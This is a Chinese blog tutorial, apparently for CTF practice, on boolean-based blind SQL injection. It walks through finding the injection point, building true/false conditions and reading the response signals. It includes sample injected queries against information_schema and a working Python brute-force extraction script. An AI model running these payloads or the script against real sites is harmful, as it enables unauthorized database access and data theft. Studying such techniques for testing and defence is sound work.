WEB安全-SQL布尔盲注


前言

布尔盲注适用于回显为“查询成功”和“查询失败”,而不是具体的值

思路步骤

Step 1: 找注入点

关于找注入点比较简单,学过SQL注入应该都会,如果题目给了源码就直接看着SQL语句构造就行了。

如果没有给源码,我们需要先测试字段类型是字符型还是数字型,然后看是否有回显,然后用or 1=1#之类的东西去测试。具体测试时,我们先想象他的SQL语句是select xx from yy where zz = '$your_input'; 因为基本所有题的SQL语句都是这个结构,在这个SQL语句结构的基础上去测试就好了。

Step 2: 构造condition

所谓的condition就是某个条件,这个条件的真与假可以影响SQL语句的查询结果,进而影响WEB页面的回显。例如输入0' or 1=1#0' or 1=2#(#是注释符):

SELECT name, mojority FROM student WHERE student_id = '0' or 1=1#'  #查询成功
SELECT name, mojority FROM student WHERE student_id = '0' or 1=2#'  #查询失败

这里我们可以明确的知道student_id为0的学员是不可能存在的,那么上述SQL语句的查询结果就完全由or后面的1=11=2来决定了。SQL中=意为“是否相等”,所以1=1就表示1是否等于1,这是一个布尔表达式,它的结果只有True和False两种。

这个能直接影响整个SQL语句查询结果的1=11=2,也就是这个布尔条件表达式,就是我们目前Step 2要构造的condition。

Step 3: 注数据

现在我们只需要将Step 2构造的Condition换成具体的注入数据的语句,就可以了!

SELECT name, mojority FROM student WHERE student_id = '0' or substr((select database()),1,1) = 'a'
SELECT name, mojority FROM student WHERE student_id = '0' or substr((select database()),1,1) = 'b'
....

布尔盲注中的布尔回显

  1. 最常见的就是回显的内容不同,比如查询成功查询失败,回显长度有时也可以
  2. 返回的HTTP头的不同,比如结果为真可能会返回Location头或者set-cookie
  3. 看HTTP状态码,比如结果为真则3xx重定向,为假则返回200

盲注脚本的编写

分析可知:

  • 针对截取的每一位,都要把字母表跑一遍来判断是否相等,因此需要两层循环,外层循环为位数,内层循环为具体值。
  • 对于注入不同的数据,只要修改内部子查询就好了,其他的部分不需要改动,因此可以把子查询写成一个单独的变量。

于是可以写出这样的注入脚本:

# 导入所需模块
import requests
import string 

# 构造字母表,根据字母表去爆破每一位的具体值
alphabet = string.ascii_letters + string.digits + ",}{_="

# 题目的URL
url = "http://127.0.0.01/?student_id="

# 注入什么数据,select变量就写什么子查询语句
select = "select database()" 
select = "select group_concat(table_name) from information_schema.tables where table_schema=database()" 

# 用来保存注入出的结果
result = ""

for i in range(1,100): # 外层循环,从1开始,因为截取的位数是从1开始的
    for ch in alphabet: # 内层循环,是具体需要测试的值

        # 构造SQL语句,发起请求
        payload = f"2019122001' and substr(({select}) ,{i},1) = '{ch}' %23"
        r = requests.get(url=url+payload)

        # 根据回显判断,如果得到了表示查询成功的回显,那么说明判断数据的这一位是正确的
        if "查询成功" in r.text:
            result += ch 
            print("注入成功:", result)
            break # 这一位已经跑出来了,可以break掉然后下一轮循环跑下一位数据了

        # 如果已经跑到了字母表最后一位都还没有进到上面的if然后break,说明这轮循环没跑出来正确结果,说明注入完成(或者注入payload写的有问题注入失败),脚本没必要继续跑下去了
        if ch == alphabet[-1]:
            print("注入完成")
            exit(0)

另有参考

…未完待续


Author: 寒风渐微凉
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint policy. If reproduced, please indicate source 寒风渐微凉 !
 Previous
Next 
  TOC